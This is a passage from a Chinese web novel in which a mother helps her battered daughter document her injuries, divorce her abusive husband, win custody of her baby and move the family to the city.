陶枝看着嘴角直抽抽,要是真心想帮忙,今天不至于连个门都敲不开。
“要说这赵家老太,说是来带孙女的,每次见她吃完饭,嘴巴一抹就出门了。小赵也不管事,小程还要上班,都是我们这些邻居,看到小宝宝可怜,不忍心帮忙带一把。”这位是邀功的。
“是啊,小程要上班,要做家务,还要带小孩,没有人帮忙,小程都没抱怨。你说这么好一个姑娘,还对人家又打又骂,赵家人简直丧良心。”
一人一句,把赵钧的遮羞布,扯了个底朝天,但没人告诉警察同志今天发生了什么事。
警察只好问程星:“你说说今天都发生了什么?”
一时,所有人的目光看向了程星。
程星往后缩了缩,陶枝一手抱娃,一手抚着她的背,默默给她力量。
程晙适时递上一杯温水。
程星小小的喝了两口,牵扯到脸部的痛处,不禁“嘶”了一声。
陶枝
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的视线顿时射向赵钧,赵钧难得感到坐立不安。
程星的声音暗哑,她慢慢开口:“昨天我上大夜班,今早八点钟才回来。到家之后,我洗漱完,就准备抱着宝宝睡觉。”
“我刚上床不久,婆婆就起来了,在那摔摔打打的。我好声好气叫她小声一点,她就开始骂我:‘回来饭也不做,碗不洗地也不拖,就会一张嘴说说说。’我气不过,回了她一句:‘要不您出去上班,我在家带娃干家务?’赵钧出来听到,二话不说,扬手就过来了。”
“赵钧像是警告,扇了我一巴掌后,消停了。婆婆在旁边补了一句:‘活该。’说完她自己出门去,倒是把宝宝给吓着了。宝宝一直哭,我又累又困,没办法一直抱她,宝宝就没被哄好。赵钧嫌吵得慌,吼了宝宝两句,我回嘴他就开始揍我。”
程星又补充:“他给了我一脚,我站不住,才把宝宝放地上的。”
围观群众的听完,看向赵钧的眼神,充满了鄙夷和不屑。
有人“呸”了一声:“只有最没用的男人,才会打女人出气。”
还有人大喊。“把他抓起来。”
赵钧的脸色瞬间苍白如纸。
陶枝清楚这不可能,因为针对家暴的法律条例,还要好多年后才会出台。
无法可依,民警也没办法,他问:“让他赔礼道歉,再叫他写保证书,可以吗?”
“赔礼道歉有用的话,还要警察来干嘛?”这是头铁的,如果不是场合不对,陶枝肯定会笑出来。
她适时的出声:“谢谢各位邻居,也谢谢警察同志,保证书我们肯定要,但我也想带我女儿,去法医室检查一下。”
警察愣了:“你想去验伤?”
陶枝点头:“对,我们自费,不给国家添麻烦,拜托您给行个方便。”
警察摇头:“没有这种先例。”
陶枝没有退让:“那我们自己去医院呢?”
门外的大姐们在虎视眈眈,警察同志也不能不考虑舆情。
“只要医生愿意,这个我们管不着。”
陶枝满足了,她要的就是这个。
“那事不宜迟,先写保证书吧。”
赵钧一听什么验伤,顿感大事不妙,他冲着程星嚷嚷:“你要敢去医院,我就不写保证书。”
他这话一出,简直把人民警察架在火上烤,这下,他是不想写也得写了。
赵钧被压着写保证书,程晙从门外拉了个人进来。
一个肩上挎着相机的年轻人,白衣黑裤,神采飞扬。
程晙露出两排大白牙,高兴地对陶枝说:“妈,我朋友,于思飞。”
陶枝也很高兴,真是天助我也,臭小子今天要记大功。
她笑着对于思飞说:‘小于,接下来要麻烦你,帮程晙姐姐拍几张照。”
警察同志一看,人家这是有备而来啊。他们已经失了先机,此刻在众目睽睽之下,也不好说什么出格的话。他瞄了一眼赵钧,心里为他点了根腊。
程晙扬声问大妈:“哪位姐姐能借下今天的报纸?”
“我有,我去拿。”
“谢谢姐姐,你果真人美心善。”程晙把人夸得乐陶陶。
程星拿着报纸,于思飞对准她的伤处,不停地按下快门。
5. 第 5 章
再迟钝的人也能看出来,赵钧恐怕不能善了。
陶枝的做法,她们看不懂,也猜不透,莫名就是觉得她厉害。
在场知道陶枝意图的,恐怕只有警察同志了。
但他深藏功与名,默默支持陶枝,给她行方便之门。
陶枝心存感激,打算明天就去做面锦旗,大张旗鼓的送到派出所,表扬这位“一心为民”的警察同志。
陶枝不由地庆幸,下午只付了两千定金,身上还留有一千备用。
她要赶在医院下班前,去给程星做伤情鉴定。
赵钧把保证书写好,时间已所剩不多。
陶枝接过这张薄薄的,但却重如千斤的纸,她再次感谢警察同志。
她用围巾把程星遮上,一手抱着外孙女,就准备先行离开了。
于思飞见状连忙开口:“阿姨,我有车。”
“谢谢你啊小于,你今天可帮大忙了。”
“阿姨,不用客气,我和程晙是异性兄弟。”
陶枝闻言笑了出来。
于思飞开的是一辆皮卡,陶枝和程星上车后,一路疾驰着往医院去,程晙则留下来办事。
他先目送警察同志离开,接着给程星和小宝宝,收拾衣服和日用品,最后笑着和阿姨们说再见。
这一刻,曲终人散,没有人再回头多看赵钧一眼。
陶枝临走前,给程晙塞了五百块,他麻利去宾馆开了两间房。今天他和陶女士,决定是回不了家的。他打电话回去,叫老爸带着钱,明儿一早赶来市里。
在电话里,他没说程星的事,免得老头子担忧。再说了,他也不知陶女士有什么打算,一家之主的心思,还是少猜为妙。
程向前应得爽快,反正陶枝决定的事,他照做就是了。刚结婚没多久,他妈妈就说过:“遇事不决,听老婆的。”二十七年了,他一直把这话奉为圭臬。
有钱能使鬼推磨,陶枝给医生塞了钱,伤情鉴定顺利进行。明后天就能拿结果,陶枝这才舒了一口气。
赵今禾小宝宝很乖,小手抓着外婆的衣服,在外婆怀里睡得正香。小孩子敏感,谁喜欢她,谁不喜欢她,小人儿一清二楚。
于思飞还在外面等着,他见到陶枝她们出来,就说:“阿姨快上车,我知道程晙在哪,我送你们过去。”
陶枝欣然接受,人帮我我帮人,人情欠来欠去的,感情才会变深厚。
于思飞送她们到宾馆,下车陪着陶枝进去,前台一见到他:“哥,你怎么来了?”
于思飞问:“见到你程晙哥没?”
“见到了,不过他刚出去了。”
“这是你程晙哥的妈妈和姐姐,你带她们先去房间休息。”
“好的哥,那你呢?”
“我先回家了,还有事要忙。”
他转过去对陶枝说:“阿姨,这是我堂妹,于思甜。宾馆我们家开的,您放心在这住。”
于思甜人如其名,是哥软萌萌的甜妹子。她露出灿烂的笑容,“我哥说得对,阿姨您有事就找我,程晙哥不在也没关系。”
陶枝笑了,回了一句好。
所幸程星还包着脸,没有吓到其他客人。进了房间,陶枝放下赵今禾,再帮她解开头巾。
过了半下午,淤青开始散开。不过医生说了,大多是皮外伤,过几天就会好。
陶枝的心放回肚子了,她问程星:“今禾平时吃什么?”
“和我们一样,吃粥饭。”
陶枝无奈,下楼找于思甜:“甜甜,你知道哪里有奶粉卖吗?”
“出门右转,往前走五十米,有个百货大楼,那里就有奶粉卖。”于思甜回答。
“谢谢你啊。”
陶枝买回奶粉,小今禾也醒了。陶枝把她抱起,笑着问:“宝宝饿不饿呀?”
小今禾听懂了,眨巴着大眼睛,指指自己的小肚肚,奶声奶气的说:“饿,饿。”
陶枝早就被俘虏了。她用温水泡了奶,用勺子慢慢喂宝宝。小今禾喝完奶,头一点一点的,又想睡觉了。陶枝轻轻拍她的背,不一会儿就睡着了。
她把宝宝放下,再多拍几下,确认睡熟了再起身。
陶枝坐到程星对面,“来,跟妈说说,他们家都是怎么对你的?”
程星的眼泪刷一下就下来了,她好像突然找到了依靠,扑到陶枝的怀里,死死咬着嘴巴,不敢发出一点声音,哭得像要撅过去一样。
陶枝就这样抱着她,心逐渐的坚韧冷硬。没事,一切都会过去的,现在经历的,都会变成将来的财富。怪只怪,她把女儿教得太善良,太没有棱角,也太会为别人着想了。
程星情绪慢慢冷静,陶枝等她自己平复。
程星开口:“事情要从生了宝宝说起。”
“我生完今禾,还在医院住着,婆婆就来了两
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趟。第一次,她一看是女孩子,脸上就很不高兴,没坐多久就走了。第二次来的时候,今禾的小手张开,她看到宝宝是断掌,脸色变得黑如锅底,就好像谁欠了她钱一样。”
“然后,婆婆避开我,把赵钧拉到门外,悄悄商量着,要不就把今禾给送人。幸亏当时在医院,他们没有下手的机会。之后我婆婆回老家了,没人在赵钧耳边念叨,他也就把这事给放下了。”
“等我出了月子,准备去上班,婆婆她又来了,这次她还带着小叔子。妈,我那宿舍您看见了,就一个大通间,带了个厨房和厕所,还是用衣柜隔的客厅,我们一家三口住刚刚好。结果婆婆招呼也不打,他们俩直接就住下了。这些不方便我都忍了,结果,她叫我把工作让给小叔子,专心准备二胎,顺便在家带今禾。”
“我说工作让不了,反正工厂在招工,就让小叔子去报名。就这样,他都考不进,婆婆就对我很大意见。”
“小叔子呆不住,自己回老家了。婆婆说帮我带娃,好让我专心工作,她借机就留了下来。从那之后,我每个月开始给家用。”
“这钱是越要越多,我觉得不对劲,就去问婆婆。她呼天喊地,说我不信任她,嫌她想要逼死她,一哭二闹的,邻里都来看热闹,我只好不了了之。”
“我和赵钧沟通,叫他也给钱婆婆,他说他没钱。一翻口袋,刚发的工资,不出三天就见底。”
“这次我生气了,骂他不顾家,光顾着自己,完全不替女儿着想。他比我火气更大,说只有我把赔钱货当宝,他们家一点也不稀罕。”
“他居然这样说宝宝,我眼泪都要下来了,就挠了一下他的脸,紧接着赵钧他就还手了。他打完了,还笑嘻嘻的说:‘你娘家有钱,你回去借一点啊。’妈,我完全没想到,人会变得这么恶心。”
陶枝点醒她:“乖女,不是人变得恶心,而是他之前隐藏得好,现在是爆发出来了。”
程星泪眼汪汪的,“他发现我打不过他,后来就如邻居所说,他应该是打上瘾了。他只要一个不顺心,一记耳光就过来了,完全不避婆婆和女儿。”
说到这里,程星的眼泪就像断了线的珍珠,一点也止不住。
陶枝看得心酸不已,每个小孩,都是妈妈的软肋,也是妈妈的逆鳞。对她如是,对程星也如是。
程星依偎着陶枝,好像突然回到小时候,妈妈依然抱着小小的她一样。
6. 第 6 章
陶枝摸摸程星的头:“如果你不想说,那就不说了,妈妈也基本清楚。你做得很好,那些不开心的事,忘掉最好,没必要一直记着。”
程星点点头,难过的那股劲过去了,她才想起问:“妈你和小弟怎么来了?”
陶枝很高兴她主动提起这事,她本来找程星就是想告诉她:“我们打算全家搬来市里。”
程星眼角还挂着泪,闻言一脸的期盼:“真的吗?什么时候?”
“傻孩子,妈什么时候骗过你?”
“那老爸的厂子怎么办?”
“程晙一直想买辆车,妈打算满足他,到时候接你爸两地跑。”
程星乐了:“那程晙肯定高兴坏了。”
“妈今天定了三块地,明天就交钱过户。我本来这样想的,我和你爸,程曼,还有你,我们一人一块。今天赵钧这个样子,妈妈有点不放心,所以得问问你,这段婚姻你打算怎么办?”
程星沉默了一会儿,她抬头,眼里有坚毅的光:“妈妈,我想怎样都可以吗?”
陶枝直视她的眼睛:“当然了,我和你爸,一直都是你们最坚强的后盾。”
“那我想离婚。”
“为什么呢?”
程星差点又要哭,不过这次她忍住了。她说:“他们赵家,欺负我就算了,漠视宝宝我不能忍。我也不放心,和不爱宝宝的人,住在一个屋檐下。”
“想清楚了?”
程星坚定地点头。
“除了离婚,还有别的吗?”
程星心里没有底,她抓着陶枝的手:“妈,宝宝跟我,不要给他们,你有办法吗?”
陶枝给她吃定心丸:“交给你妈。”
陶枝继续问:“你要不要辞职?”
程星愣了,“可是我做得好好的,下个月还准备升小组长呢。”
“但是你们现在住着的,是不是食品厂租给你的宿舍?”
程星说:“对啊。”
陶枝点点她额头,“你脑筋怎么还没转过来?如果你退了宿舍,赵钧和他妈妈,他们俩会怎么样?”
程星福至心灵:“他们得搬出去。”
“那赵钧工作的药厂,有没有宿舍分配?”
程星终于开心了一点:“药厂只有房补,没有建宿舍,没房子分。”
“那他们没地方住了,是不是第一个念头就要来找你?”
陶枝继续:“这个还只是退租,等你一提出离婚,你觉得他们会怎么做?”
“如果第一时间找不到你,为了达到目的,你觉得他们会不会在厂门口堵你,在你回家的路上蹲你,在你经常出没的地方蹲守你?”
程星打了个寒颤。
“那你觉得,辞职这个主意怎么样?”
程星问:“那我就直接不回去了?”
“回去哪里?”
“宿舍啊。”
“你回去做什么?”
“我的东西,一件还没收拾呢。”
“有什么贵重的东西吗?”
“有今禾的照片,她的礼物,她的胎发、手镯、长命锁,还有我陪嫁的金饰,存折等。”
陶枝叹了口气,本以为可以不用出面,现在不得不面对面打擂台了。
“行,那明天我把正事办了,再陪你回去和他们谈判,我们争取协议离婚。”
第二天,程向前来到市里,带着两个工人,和一袋子现金。
程晙昨天留了电话和地址,所以程向前直接到的宾馆。
一家三口一起去的房管所,业主早已经等在那里了。
律师带着合同也到了。
他们当场清点现金,一手交钱,一手过户。
没多久,三张红彤彤的土地证,写着陶枝的名字,就这样到了她的手里。
业主但求交易成功,他没有那么强的好奇心,才不去管到底是几个人买地。
陶枝也不想多事,这一桩买卖,可以说是皆大欢喜。
陶枝把证件交给老头子,让他先带回家,她还得留下继续寻摸房子。
地皮买了,还得建房,这期间就只能租房了。
兵分两路,程向前先回去了,陶枝母子则回宾馆歇脚,这才发现陈大山在门口等着。
程晙这才恍然记起这号人。
有陈大山在,房子就很好找了。
不多时,就租下一栋三层小洋楼。
加起来,一共有十来个房间,程晙看了也很是满意。
陶枝刷刷刷签下合同,爽快地先付了半年租金。
陶枝问程晙:“你之前说想买一辆车,现在还想要吗?”
程晙喜上眉梢,眼巴巴看着陶枝。
陶枝一眼就懂了,她推开程晙凑近的脸:“别装乖卖萌,这么大个人,你妈我看了,都感觉有点恶心。”
程晙捂着受伤的心:“妈,您预算多少?”
“不超过我今天花的钱。”
程晙高兴坏了,他没想到老妈这么豪气。他给陶枝作了一个揖:“多谢老妈,那我看车去了。”说完他一溜烟地跑了。
陶枝摇摇头,程晙这跳脱的性子,也不知到底像了谁。
陶枝上楼去看女儿,只见程星搂着小今禾,两人睡得呼呼的。她笑着关上房门,去程晙的房里休息。
还有一场硬仗要打,她得把精神养足了。
睡醒之后,陶枝用客房电话,联系小姑子晚饭,程向楣欣然答应。
程向楣一家,早早就搬来市区了。老头子的厂子,能有今天的规模,还是多亏了小姑子。
程星上班的食品厂,是程向楣的夫家,和他们的朋友,一起创办的。比老头子早了整整八年。
等到老头子开厂的时候,食品厂早已经站稳脚跟,在市场上占据了不小的份额。那个时候,经济蓬勃发展,国营机械厂的单子,多到怎么都做不完。于是,妹夫看准了时机,叫老头子退休单干,自己开一个机械加工厂,前期单靠妹夫给的单子,就已经赚得盆满钵满。
程向前经常打趣说:“太太娶得好,生活少烦恼。”程向前是家里长子,陶枝自从嫁进程家,上养公婆,中养弟妹,最后才是自己的儿女。婆婆走得早,公公倒是身体好,还能帮忙带孙子。
生活的重担就压在两夫妻身上,一家子就指着程向前那点工资。小叔子小姑子得上学,每个月还得抠钱给娘家,这是婚前一早说好的,程向前也没打算食言。
因此生活就过得清苦,都说长嫂如母,陶枝一字不落做到了。弟弟妹妹也知道感
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恩,每一个都很尊敬大嫂,特别是三个小姑子,和陶枝这位大嫂的感情,比程向前这个大哥还要好,所有人都愿意听她的话。
程向楣嫁进李家,还是陶枝拍板的。程向楣日子过得好,也就念念不忘提拔大哥家。
所以程向前才说:“家里的一切,都是陶枝的功劳。”
程星当初进食品厂,也是走的小姑子路线。一事不烦二主,现在程星要辞职,陶枝还是找程向楣。
晚上见到面,陶枝把这话一说,程向楣大手一挥,“这点小事,也值得嫂子你亲自跑一趟?你打个电话来,我就给你办了。”
陶枝回她说:“也不单为这个事,我和你哥,准备搬城里来了。”
程向楣闻言,喜出望外道:“嫂子,此话当真?”
陶枝把地皮的位置告诉了她。
程向楣娇嗔:“你事都办完了,才舍得来找我,倒显得我毫无用武之地。”
陶枝给她倒了杯茶:“都住一个城了,以后麻烦你的事,你觉得它能少了?”
程向楣佯怒:“嫂子你说倒是说得好听,我可从来没见你开过口。”
陶枝安慰她:“你和妹夫,已经帮衬够多了。你哥自己能做出成绩,不需要靠亲朋好友,你该为我们高兴才是。”
程向楣瞬间被说服了,“那嫂子你搬家时,得带我去认认门。”
陶枝一口答应。
程星的工作就这样辞了。
回到宾馆,程晙在楼下乐滋滋地等着她。
陶枝一见他:“车子看好了?”
程晙忙不迭点头,乐得见牙不见眼。
陶枝边爬楼边问:“多少钱?”
程晙跟在身后,气定神闲的说:“18万左右。”
陶枝回过头,诧异地问道:“这么便宜?”
程晙挠挠头:“不是小汽车。”
“那是什么车?”
“皮卡车,男人的梦。”
陶枝好歹忍住了,没给她小儿子白眼。“管你什么梦不梦,买了车,你得负责接送家里。”
程晙说:“保证完成任务。妈,你都不知道,那车有多好看......”
陶枝快走几步,迅速进到房间,拍上房门把程晙挡在外面。
太可怕了,以前听魔音穿耳,都没觉得这么恐怖。一路听程晙在吹嘘,陶枝感到脑袋嗡嗡的,都说反派死于话多,她担心小儿子迟早药丸。
房门被当面关上,程晙的喜悦嘎然而止。他赶紧闭嘴溜回房间,做个安静的乖儿子,不然他怕陶女士收回成命,那他的郑州日产D21就飞啦。
翌日,太阳高照,程晙来敲门。
陶枝吩咐程星,今天继续呆宾馆,好好照顾小今禾,别的暂时不用她操心。
程星乖巧地应下。
陶枝带着程晙,风风火火赶去车行,准备拿下程晙的梦中情车。
殊不知,陶枝一见到皮卡,脱口而出:“这么丑的车?”
程晙不开心了:“妈您怎么说话呢?”
陶枝连忙改口:“嗯,这车有点......没那么好看。”
“那还不是一个意思?”
“儿啊,你要不再看看?妈决定大出血,好好奖励你,你不用为我省钱。”
7. 第 7 章
程晙怀疑陶枝在下套,他不敢往里边跳,于是他很坚定:“妈,我就要这辆。”
“当真?”
程晙迫不及待:“我确定。”
陶枝见状,虽则是儿子,但也不好勉强,只能说每个人的审美不一样。
她再看一眼皮卡,还是打心底觉得丑。算了算了,各花入各眼,再想到儿媳妇,陶枝心里直叹气。
不管心里怎么想的,陶枝还是拿钱出来,给程晙买了他的爱车。
程晙乐得飞飞,他摩挲着车身,满脸的陶醉之情。
陶枝没眼看,叫他:“别丢人了,赶紧送我回去。”
到了宾馆,程晙想走,陶枝拦住他:“今天你得带宝宝。”
“那我姐呢?”
“我和她去搬东西。”
程晙开始挽袖子,“我去叫几个兄弟一起。”
陶枝瞪他:“家丑不外扬,你给我消停点。”
程晙摸摸鼻子,讪讪地回房去了。
陶枝和程星两个人,特地挑了个大中午,低调地回到职工宿舍。
太阳在头顶暴晒,到处都静悄悄的,603的房门也紧闭着。
程星掏出钥匙,一扭,门锁打不开了。
陶枝心里咯噔一下,程向楣的动作不会这么快吧?
她正准备去找保安,这时门从里面打开了。赵钧揉着惺忪的双眼,慢条斯理套上衣衫,不疾不徐地往外走。
正巧陶枝走开了两步,人站在门里头瞧不见她。
赵钧抬头一看到程星,语带讽刺道:“你还舍得回来啊?怎么,我的好丈母娘,没有把你给安顿好?”
程星问他:“你把锁给换了?”
“是我叫人换的。”一道年老的女声,从房里传了出来。
程星闻言想掉头就走,陶枝连忙给她使了个眼色,然后自己往墙边再躲进去点。
程星只好站在门口不动。
随着踢踏声越来越近,程星的婆婆,陈老婆子出现在眼前。她往那一站,堵着门口说:“既然你都走了,还回来干什么?”
程星咬着下唇:“我来拿我的东西。”
陈老婆子冷笑一声:“你能有什么东西?这个家,哪样不是小钧买回来的?”
程星涨红了脸,她又一次见识了这家人的无耻,她气愤道:“他花的可是我的钱。”
陈老婆子掀了掀眼皮,“你赚的钱,不给小钧花,你还想给谁花?”
程星也冷脸了:“我和你说不通。”她提脚就要往里走,陈老婆子寸步不让,程星就想伸手去扒拉。她的手都还未伸直,赵钧看见了,从旁直接一脚踢向她。程星吃痛站不稳,“咚”一下摔倒在地。
陈老婆子哈哈大笑:“小钧,干得好。”
她话音未落,只见眼前一花,脸上就啪啪挨了几个耳光,痛得她直看到星星。她晕乎乎的想扶东西,头上突然一紧,一阵刺痛直达天灵盖,她竟被人拽着头发在走。她感觉头皮都要被扯下来了,唉哟唉哟的叫唤个不停。
陶枝被吵得烦躁,一把将她摔在地上,砰一下很大声,可见陶枝的气愤。她转过身去,面对着赵钧,就这么看着他,一句话也不说。
赵钧只觉得背上的汗,一道一道的,直如雨落润湿了衣裳。丈母娘他怎么都看不透,所以由始至终,他一向都掩饰得很好,但不知怎地,这两次都被她目睹了现场。
恐惧往往来自于未知,别看赵钧叫嚣得厉害,但他一直不敢在丈母娘面前放肆。
陶枝对自己很生气,她觉得自己太好人了,上次就该直接把人打服。她把旁边的拖把折断,紧紧握住那半截棍子。
她故意不去看程星,任由怒火肆虐,侵蚀操控理智,她意随心动,高举着棍子,每一下都用了力气,避开要害之后,尽往赵钧的身上招呼。
赵钧一开始站着没躲,想着兴许挨一顿,丈母娘能消消气。但发现陶枝不留手后,他痛不可当,于是怒从心头起,恶向胆边生,一心只想要还击。
他先是抬手挡住棍子,再一脚踢向陶枝的手腕,顺势带起了一阵风,仿佛只要陶枝不躲,她的手即将要不保。陶枝反应迅速,立马把棍子从右手换到左手,右手就此放下,巧妙地避开了这一脚。
赵钧踢落空了,因用力过猛,他没收住势,直直往前扑,摔在陈老婆子身上,两人滚作一团。只听得“咔嚓”一声,这下陈老婆子是真受伤了。
程星摔的那一下,并没有伤到哪,自己早就站起来了。陶枝叫她进来把门关上,免得再有好事者过来围观。
一上来就是兵戈相见,陶枝也不打算客气了。她叫程星去收拾东西,如果有被锁起来的,或者哪些找不到的,那就好好找陈老婆子问一问。
陶枝拉过一张椅子,大马金刀的坐着,像一尊杀神一样。
陈老婆子嗷嗷想扑过去,阻止程星翻箱倒柜找东西,可惜她的尾椎骨不答应,她只能坐在地上骂骂咧咧。
而赵钧呢,被痛打一顿之后,现在则是敢怒不敢言。
正如陶枝所言,一些小东西,是怎么也找不到了。不过小今禾的东西,倒是一件都没少,想来也是人家不稀罕,程星把这些全收起来。
她翻了两遍柜子,没看到金饰,她问赵钧:“我的陪嫁呢?”
“你自己收的,我怎么知道?”赵钧没好气的说。
程星看向陈老婆子,她这时候反而哑口了,闭上嘴一个字都不吭。
陶枝上前捏开她的下巴,“说话。”
陈老婆子拼命甩头,却怎么都挣不脱,她惊骇于陶枝的力气,只好老老实实回答:“被我拿回老家了。”
程星惊问:“什么时候,拿回去多久了?”
“半年前,我回过一次老家。”
程星跌坐在沙发,都过去这么久了,小叔子是什么人,大家都一清二楚,现在怕是连渣都没剩了。
陶枝扯她起来,把她背给捋直了,“多大点事。”
她对赵钧说:“那就折价,拿了多少,还我多少,很公平吧?”
赵钧还没来得及说话,陈老婆子倒是先嚷嚷:“都是一家人,分这么清做什么?”
陶枝望着他俩,“说到这里,赵钧,你和程星离婚吧。”
陈老婆子跳起来:“离哪门子的婚?她嫁进我们赵家,生是我们赵家的人.....
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陶枝不想听她喷粪,一个大嘴巴过去,世界一下子清净了。
她只静静地看着赵钧。
赵钧从惊讶,到不置信,到了然,到如释重负,最后他吁出一口气。
他点头:“好。”
赵钧这么痛快,别说程星了,连陶枝都不信。
她谨慎发问:“怎么离?”
“一切听程星的。”
“存款对半分,程星把嫁妆带走,别的我们不要。”陶枝顿了顿:“今禾跟程星。”
“没问题。”
虽然陶枝心底存疑,但事不宜迟,不适合再节外生枝,“那现在带齐资料,去民政局申请离婚。”
程星把身份证,户口本,结婚证,统一放在袋子里。
等陈老婆子反应过来,人已经走到楼梯口了,远远听到她喊赵钧,“儿啊,不能离婚啊。”
赵钧没有回头,陶枝越发肯定,这小子一定有事。
到了民政局,程星和赵钧,分别签了离婚协议,接着在离婚登记上签字,等民政局审查通过,最后才能领取离婚证。
他们材料齐全,并且没有争议,又是和平协议离婚,所以离婚证很快就办好了。
程星拿着崭新的证件,看着赵钧远去的背影,内心五味杂陈,久久不能平复。她一面为新生感到开心,一面又为赵钧的绝情而失落,近三年的感情,就这样谢幕了,连个照面都不打。
回到宾馆,陶枝吩咐程晙,去查一下赵钧。事有反常必有妖,她担心赵钧隐瞒了什么,虽说程星是离了婚,今禾可是打断骨头连着筋,一招不慎,打了老鼠伤了玉瓶,那便得不偿失了。
程晙应得爽快,他把今禾扔给老妈,自己开着车轰隆就跑了。
陶枝抱着小宝宝,闻着她身上的奶香,叫前台帮订一桌席,今晚她得大肆庆祝。
她回房打给小姑子,请她一家过来吃饭。
是夜,程向楣带着侄女李颜来了,她一眼看到小今禾,先奉上一个大大的红包,笑得跟朵花似的去逗她:“小宝宝,我是姑婆婆,姑,婆,婆。”
陶枝失笑:“她还不会说话。”
程星和李颜也很熟,小时候经常一块玩。李颜拍拍手,对小今禾说:“给表姨抱抱?”
小今禾咿咿呀呀的,看看妈妈,又看看表姨,居然真的伸手给李颜抱。
李颜乐得一把抢过孩子,“真是个乖宝宝。”
程向楣和陶枝告罪:“他们父子三个,早早出差去了。”
“是我没考虑到,忘了这一茬,你别怪我就好。”
程向楣娇嗔:“咱们姑嫂俩,这是闹哪样?”
陶枝回嗔:“也不知是谁先开的头。”
这时,程晙带着于思飞也到了,他向大姑介绍他的朋友,陶枝则去吩咐服务员上菜。
大家都落座后,陶枝举起酒杯,“这一杯,祝贺程星离婚,从今天起,人生迈向新的阶段。”
程向楣咽下嘴里的酒,诧异地问道:“程星都离婚了?老李出差,我还没来得及交代人事,那程星还需要办辞职吗?”
陶枝也愣了:“程星还没离职呢?”
8. 第 8 章
程向楣说:“我想着早两天晚两天的,不打紧,反正你已经和我说过了。”
陶枝苦笑:“这乌龙闹的。”
这下赵钧的疑窦就更大了。
饭后,程向楣先回家了。陶枝把程晙拉到一旁,“你花钱去找人盯着赵钧,一定一定要搞清楚,他为什么这么痛快离婚。”
程晙接过钱,“妈你放心,我用最快的方法,把事情弄明白。”
小今禾喝过奶,早早就睡下了。
陶枝叫程星:“你也早点睡,接下来有好多事要干,还有好多东西要买,你带着今禾给我搭把手。”
程星乖巧的说是,躺进被窝闭上双眼。
明天的忧虑自有明天来当,陶枝关上灯,也陷入了黑甜梦乡。
第二天,陶枝带着程星去到租房,“在自己的房子建好前,这里暂时是我们的家了。”
程星一眼就喜欢上这栋小楼,小今禾也跟着哇哇大叫,高兴得手舞足蹈。
妈妈的情绪很容易感染小孩,陶枝看到这一幕,感到搬家这个决定很值得。
陶枝上街去找人,搞卫生的,刷墙的,接水电的,做门窗的,都雇了人来。
她和房东事先确认过,翻新没问题,只要不砸墙,其他随便造。
这一住恐怕就是两年起,陶枝不打算委屈自己,况且一家人都住这,舒适才是最重要的。
满打满算,陶枝给了半个月的工期,工钱先给一半,验收后再付另一半。当然,搞卫生的得日结,不然人家不肯干。
这年头,人的信誉还是挺好的,陶枝也就放手给专业的人。她带着程星和今禾,满市区转悠,开始物色家私和家电。
陶枝想着,这些大件,搬家后还能用,所以她尽往好了挑,看到喜欢的就订下,等着房子好了再搬进去。
逛了两天,程晙带着消息回来了。
陶枝一看到儿子,就知道有下文了,她转身退回房间,程晙进来把门锁上。
“查出什么了?”
程晙压低声音:“赵钧外头有人。”
“具体说说。”
“他跟一个女的打得火热,进进出出的也不避人,对外以夫妻名义相称,外头很多人都知道,单就瞒着我们一家。”
陶枝气得拍桌子,声音像是沁了冰,“赵钧他欺人太甚。”
程晙安抚她:“妈,你先别急,听我说完。”
陶枝深呼吸,慢慢平静下来,“你接着说。”
“那个女人,听说是他的初恋,他上门想娶人家,,女方家里不同意,嫌他家里条件不好。况且他老母亲的名声在外,也不是个好相与的,人家当场就给拒绝了。”
“这两人,算是被棒打鸳鸯吧,那女人嫁得也不好,动辄就被打被骂,受不住就离婚了。”
“前两年两人重逢时,直如干柴碰着烈火。人家对赵钧有所求,端的是风情万种,温柔小意,把他掳获得服服帖帖。”
“所以赵钧越看我姐越不顺眼,再加上陈老婆子挑拨离间,一个不顺心,他就对程星既打又骂,赵钧还特别精,只打别人看不见的地方,所以程星才能瞒我们这么久。”
“这一次,也是人家怀孕了,着急着要扶正,才让我们有可趁之机。”
陶枝上辈子没有爆出这事,可见赵家人的手段了得,她问:“那程星知不知道这些事?”
程晙谨慎回答:“多少应该知道一点。”
陶枝最后一点侥幸破灭:“她怎么这么傻?”
程晙为程星挽尊:“我姐只是善良。”
陶枝瞪他:“一没有智慧,二不带锋芒,只知善良那就是傻。”
程晙嘟囔:“那也是被你宠出来的。”
陶枝被怼得好气又好笑,程晙现在懂得护着姐姐,上辈子到底发生了什么,让他彻底不闻不问?
这个问题,也许这辈子都不会有答案了。
陶枝不在意,只要眼前过得好,不好的那些过往,就让它随风去吧。
陶枝考他:“依你说,我们该怎么做?”
程晙说:“我们什么都不用做。”
陶枝来兴趣了:“这话怎么说?”
“程星顺利离婚了,也拿到今禾的抚养权,两者我们都做到了。我们的目的已经达成,就没必要再追着人不放,俗话说得饶人处且饶人,老妈您说呢?”
陶枝笑着摇头:“你小子没有说实话。”
程晙嘿嘿一笑,他凑近陶枝说:“那个女人,可不省心,赵钧的工资,养不活几口人。没有了程星,到时候吃穿用住都得掏钱,妈你且看着,他的好日子,还在后头呢。”
陶枝作势要打他,程晙笑着躲开:“妈,这下放心了吧。”
陶枝确实浑身轻松了:“小机灵鬼。”
“我也没事了,要不要陪你们逛街去?”
“好啊,你的车正好派上用场。”
程晙当了一天的孝子,第一次直面感受到,女人逛街是这么的恐怖,第二天说什么他都不去了。
陶枝只好让他充当司机和监工。
经过半个月的努力,租房逐渐有了家的样子。这期间,陶枝每天和老头子电联,各自分享自己当天的日常,因此陶枝对家里的事,还是知道得一清二楚。
程曼乖乖上学,反而老妈不在,自觉没有了靠山,读书变得更自律了。
覃厉敏想回来,老头子没有同意,程晖就每天去老丈人家,有时候一走就是好几天,也没和老头子打招呼。
陶枝说:“不必管他,那么大个人,做什么他自己清楚。”
程向前的工作性质,注定了他在操作机器时,必须要全神贯注,不能有丝毫的疏忽。不然,废的就不仅仅是物料,身体也可能会因此受伤。
所以,他也确实没太多精力,去关注大儿子的内心。既然陶枝这样说,那他照做便是了。
市里的房子弄好了,程晙抢先搬到三楼去,陶枝和程星都住二楼。
经过这一段时间的相处,还有陶枝时不时的投喂,小今禾也开始粘外婆了。陶枝特地给她布置了一间儿童房,里面放着小小的床,小小的娃娃和玩具,整屋刷了清淡的贝壳粉,充满了童趣和温馨。
小今禾高兴得不得了,在房间里爬上爬下,一刻也不肯消停。陶枝欣慰的想:安琪儿也不过如此了。
一切收拾妥当,程晙开着皮卡,载着三个女人,驶上回家的路。
算一算时间,离开将近一个月了。
越是临近家门,
